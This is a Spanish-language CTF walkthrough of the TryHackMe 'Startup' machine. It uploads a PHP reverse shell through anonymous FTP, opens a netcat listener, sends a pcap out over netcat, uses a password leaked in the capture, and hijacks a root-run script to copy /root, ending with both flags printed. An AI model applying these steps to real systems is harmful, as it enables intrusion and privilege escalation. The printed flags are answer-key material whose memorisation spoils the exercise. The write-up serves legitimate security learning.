Startup



18/02/2022

Enumeration

Whatweb

whatweb 10.10.27.204

http://10.10.27.204 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], Email[#], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.27.204], Title[Maintenance]

WhichSystem.py

mediante el tty, sabemos que es una maquina Linux

whichSystem.py 10.10.234.213

10.10.27.204 (ttl -> 61): Linux

nmap

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.234.213

21/tcp open ftp syn-ack ttl 61 22/tcp open ssh syn-ack ttl 61 80/tcp open http syn-ack ttl 61

descubrimos un puerto

lanzaremos scripts basicos de reconocimiento y detectar la version

nmap --script=vuln -p21,22,80 10.10.234.213 -oN vulnerabilidades

21/tcp open ftp 22/tcp open ssh

80/tcp open http |_http-csrf: Couldn't find any CSRF vulnerabilities.

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

|_http-dombased-xss: Couldn't find any DOM based XSS.

http-enum:

descubrimos que podemos no hay algun tipo de vulnerabilidad posible

ingresamos a la pagina y nos dice lo siguiente: http://10.10.234.213

No spice here!

Please excuse us as we develop our site. We want to make it the most stylish and convienient way to buy peppers. Plus, we need a web developer. BTW if you're a web developer, contact us. Otherwise, don't you worry. We'll be online shortly!

- Dev Team

Entramos al ftp

ftp 10.10.234.213

Connected to 10.10.234.213.

220 (vsFTPd 3.0.3)

Name (10.10.234.213:solo): Anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> Is

229 Entering Extended Passive Mode (|||22915|)

150 Here comes the directory listing.

drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp

-rw-r--r- 1 0 0 251631 Nov 12 2020 important.jpg

-rw-r--r- 1 0 0 208 Nov 12 2020 notice.txt

Encontramos dos archivos interesantes important.jpg y notice.txt ademas vemos que podemos ver que carpeta tiene todos los permisos los abrimos

diplay important.jpg



abrimos el archivo

cat notice.txt

Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.

Subir archivo al ftp

Procedemos a subir un archivo en la carpeta ftp cd ftp

put homero.jpg

verificamos que se subio correcto

Index of /files/ftp

<u>Name</u>	<u>Last modified</u>	Size Description
Parent Directory		-
homero.jpg	2022-02-20 06:31	189K

Apache/2.4.18 (Ubuntu) Server at 10.10.234.213 Port 80

Subir al ftp una reverse shell

cd ftp

lo ejecutamos

ftp> put php-reverse-shell.php

abrimos una terminal y nos ponemos en escucha

sudo nc -lvnp 10.6.96.73 443

accedemos

encontramos un archivo

Obteniendo acceso a usuario normal

Una vez obtenemos acceso a usuario normal, navegamos por las carpetas



recipe.txt

\$ cat recipe.txt

Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love

Accedemos a la carpeta home

\$ cd home



lennie

cd lennie/

bash: cd: lennie/: Permission denied

Vemos que no tenemos permisos para acceder

Volvemos a la carpeta raiz



```
total 100
drwxr-xr-x 25 root root 4096 Feb 20 05:44.
drwxr-xr-x 25 root root 4096 Feb 20 05:44 ..
drwxr-xr-x 2 root root 4096 Sep 25 2020 bin
drwxr-xr-x 3 root root 4096 Sep 25 2020 boot
drwxr-xr-x 16 root root 3560 Feb 20 05:43 dev
drwxr-xr-x 96 root root 4096 Nov 12 2020 etc
drwxr-xr-x 3 root root 4096 Nov 12 2020 home
drwxr-xr-x 2 www-data www-data 4096 Nov 12 2020 incidents
Irwxrwxrwx 1 root root 33 Sep 25 2020 initrd.img -> boot/initrd.img-4.4.0-190-generic lrwxrwxrwx 1 root root 33 Sep 25 2020 initrd.img.old -> boot/initrd.img-4.4 0-190-generic
                            33 Sep 25 2020 initrd.img.old -> boot/initrd.img-4.4.0-190-generic
drwxr-xr-x 22 root root 4096 Sep 25 2020 lib
drwxr-xr-x 2 root root 4096 Sep 25 2020 lib64
drwx----- 2 root root 16384 Sep 25 2020 lost+found
drwxr-xr-x 2 root root 4096 Sep 25 2020 media
drwxr-xr-x 2 root root 4096 Sep 25 2020 mnt
drwxr-xr-x 2 root root 4096 Sep 25 2020 opt
dr-xr-xr-x 123 root root 0 Feb 20 05:43 proc
-rw-r--r- 1 www-data www-data 136 Nov 12 2020 recipe.txt
drwx----- 4 root root 4096 Nov 12 2020 root
drwxr-xr-x 25 root root 920 Feb 20 06:30 run
drwxr-xr-x 2 root root 4096 Sep 25 2020 sbin
drwxr-xr-x 2 root root 4096 Nov 12 2020 snap
drwxr-xr-x 3 root root 4096 Nov 12 2020 srv
dr-xr-xr-x 13 root root 0 Feb 20 06:47 sys
drwxrwxrwt 7 root root 4096 Feb 20 08:04 tmp
drwxr-xr-x 10 root root 4096 Sep 25 2020 usr
drwxr-xr-x 2 root root 4096 Nov 12 2020 vagrant
drwxr-xr-x 14 root root 4096 Nov 12 2020 var
                             30 Sep 25 2020 vmlinuz -> boot/vmlinuz-4.4.0-190-generic
lrwxrwxrwx 1 root root
Irwxrwxrwx 1 root root
                             30 Sep 25 2020 vmlinuz.old -> boot/vmlinuz-4.4.0-190-generic
```

Vemos que la carpeta incidents tenemos privilegios como www-dat



-rwxr-xr-x 1 www-data www-data 31224 Nov 12 2020 suspicious.pcapng

pasamos a examinarlo en nuestra maquina

ponemos en escucha nuestra máquina para pasarnos el archivo

nc -lvnp 443 > suspicious.pcapng

nos pasamos el archivo

nc 10.6.96.73 3333 < suspicious.pcapng

vemos que el formato pcapng es wireshark

wireshark suspicious.pcapng

vemos los paquetes enviados los ordenamos por longitud nos interesa este paquete por lo cual lo examinamos

205 94.721082534 192.168.22.139 192.168.22.139 TCP 1468 40934 → 4444 [PSH, ACK] Seq=3327 Ack=164

Win=65536 Len=1400 TSval=720669365 TSecr=720669361

clic derecho - follow - TCP STREAM

Observamos todos los pasos

```
bin
boot
data
dev
etc
home
incidents
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
recipe.txt
root
sbin
snap
srv
sys
tmp
usr
vagrant
var
vmlinuz
vmlinuz.old
$ Is -la
total 96
drwxr-xr-x 26 root root 4096 Oct 2 17:24 .
drwxr-xr-x 26 root root 4096 Oct 2 17:24 ..
drwxr-xr-x 2 root root 4096 Sep 25 08:12 bin drwxr-xr-x 3 root root 4096 Sep 25 08:12 boot
drwxr-xr-x 1 vagrant vagrant 140 Oct 2 17:24 data
drwxr-xr-x 16 root root 3620 Oct 2 17:20 dev
drwxr-xr-x 95 root root 4096 Oct 2 17:24 etc
drwxr-xr-x 4 root root 4096 Oct 2 17:26 home
drwxr-xr-x 2 www-data www-data 4096 Oct 2 17:24 incidents
drwxr-xr-x 22 root root 4096 Sep 25 08:22 lib
drwxr-xr-x 2 root root 4096 Sep 25 08:10 lib64
```

```
drwx----- 2 root root 16384 Sep 25 08:12 lost+found
drwxr-xr-x 2 root root 4096 Sep 25 08:09 media
drwxr-xr-x 2 root root
                          4096 Sep 25 08:09 mnt
drwxr-xr-x 2 root root
                          4096 Sep 25 08:09 opt
dr-xr-xr-x 125 root
                            0 Oct 2 17:19 proc
-rw-r--r- 1 www-data www-data 136 Oct 2 17:24 recipe.txt
drwx----- 3 root root 4096 Oct 2 17:24 root
drwxr-xr-x 25 root root 960 Oct 2 17:23 run
drwxr-xr-x 2 root root
                          4096 Sep 25 08:22 sbin
drwxr-xr-x 2 root root 4096 Oct 2 17:20 snap
drwxr-xr-x 3 root root 4096 Oct 2 17:23 srv
dr-xr-xr-x 13 root root
                          0 Oct 2 17:19 svs
drwxrwxrwt 7 root root 4096 Oct 2 17:40 tmp
drwxr-xr-x 10 root root 4096 Sep 25 08:09 usr
drwxr-xr-x 1 vagrant vagrant 118 Oct 1 19:49 vagrant
drwxr-xr-x 14 root root 4096 Oct 2 17:23 var
                            30 Sep 25 08:12 vmlinuz -> boot/vmlinuz-4.4.0-190-generic
Irwxrwxrwx 1 root root
                            30 Sep 25 08:12 vmlinuz.old -> boot/vmlinuz-4.4.0-190-generic
Irwxrwxrwx 1 root root
www-data
$ python -c "import pty;pty.spawn('/bin/bash')"
cd
bash: cd: HOME not set
www-data@startup:/$ Is
            initrd.img.old media recipe.txt snap usr
                                                            vmlinuz.old
boot home lib
                                                             srv vagrant
data incidents lib64
                                                             sys var
                                    opt
                                               run
dev initrd.img lost+found
                                               sbin
                                                             tmp vmlinuz
                                    proc
            startup:/$ cd hom
cd home
cd lennie
bash: cd: lennie: Permission denied
www-data@startup:/home$ Is
ls
lennie
www-data@startup:/home$ cd lennie
cd lennie
bash: cd: lennie: Permission denied
 /ww-data@startup:/home$ sudo -l
sudo -l
[sudo] password for www-data: c4ntg3t3n0ughsp1c3
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data: c4ntg3t3n0ughsp1c3
sudo: 3 incorrect password attempts
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
svs:x:3:3:svs:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,;/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,;/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
```

ftp:x:112:118:ftp daemon,,,;/srv/ftp:/bin/false lennie:x:1002:1002::/home/lennie: ftpsecure:x:1003:1003::/home/ftpsecure: www-data@startup:/home\$ exit exit exit \$ exit

Accedemos la carpeta de lennie

cd home su cd lennie

password: c4ntg3t3n0ughsp1c3

whoami lennie

cat user.txt

obetenemos la bandera THM{03ce3d619b80ccbfb3b7fc81e46c0e79}

Obteniendo acceso a usuario root

vemos las carpetas



drwx----- 5 lennie lennie 4096 Feb 20 08:59 .
drwxr-xr-x 3 root root 4096 Nov 12 2020 ..
-rw----- 1 lennie lennie 57 Feb 20 08:36 .bash_history
drwxr-xr-x 2 lennie lennie 4096 Nov 12 2020 Documents
drwxrwxr-x 2 lennie lennie 4096 Feb 20 08:59 .nano
drwxr-xr-x 2 root root 4096 Nov 12 2020 scripts
-rw-r--r-- 1 lennie lennie 38 Nov 12 2020 user.txt

entramos a la carpeta scripts cd scripts

cat planner.sh

#!/bin/bash echo \$LIST > /home/lennie/scripts/startup_list.txt /etc/print.sh

Ejecutamos el .sh

./planner.sh

./planner.sh: line 2: /home/lennie/scripts/startup_list.txt: Permission denied Done! /etc/print.sh

vemos que se ejecuto correctamente pero vemos que hay otro archivo "print.sh"

cat /etc/print.sh

#!/bin/bash echo "Done!"

vemos que privilegios tiene

ls -al /etc/print.sh

-rwx----- 1 lennie lennie 57 Feb 20 09:09 /etc/print.sh

vemos que nosotros lo podemos modificar

modificamos el archivo para que copie todos los archivos de la carpeta root nano /etc/print.sh

cp /root/* /home/lennie; chmod 777 /home/lennie/*

volvemos a la carpeta lennie



ls -al

drwxrwxrwx 2 lennie lennie 4096 Nov 12 2020 Documents drwxrwxr-x 2 lennie lennie 4096 Feb 20 08:59 .nano -rwxrwxrwx 1 root root 38 Feb 20 09:26 root.txt drwxrwxrwx 2 root root 4096 Nov 12 2020 scripts -rwxrwxrwx 1 lennie lennie 38 Nov 12 2020 user.txt

vemos que se copio el archivo root

root.txt

obetenemos la bandera

THM{f963aaa6a430f210222158ae15c3d76d}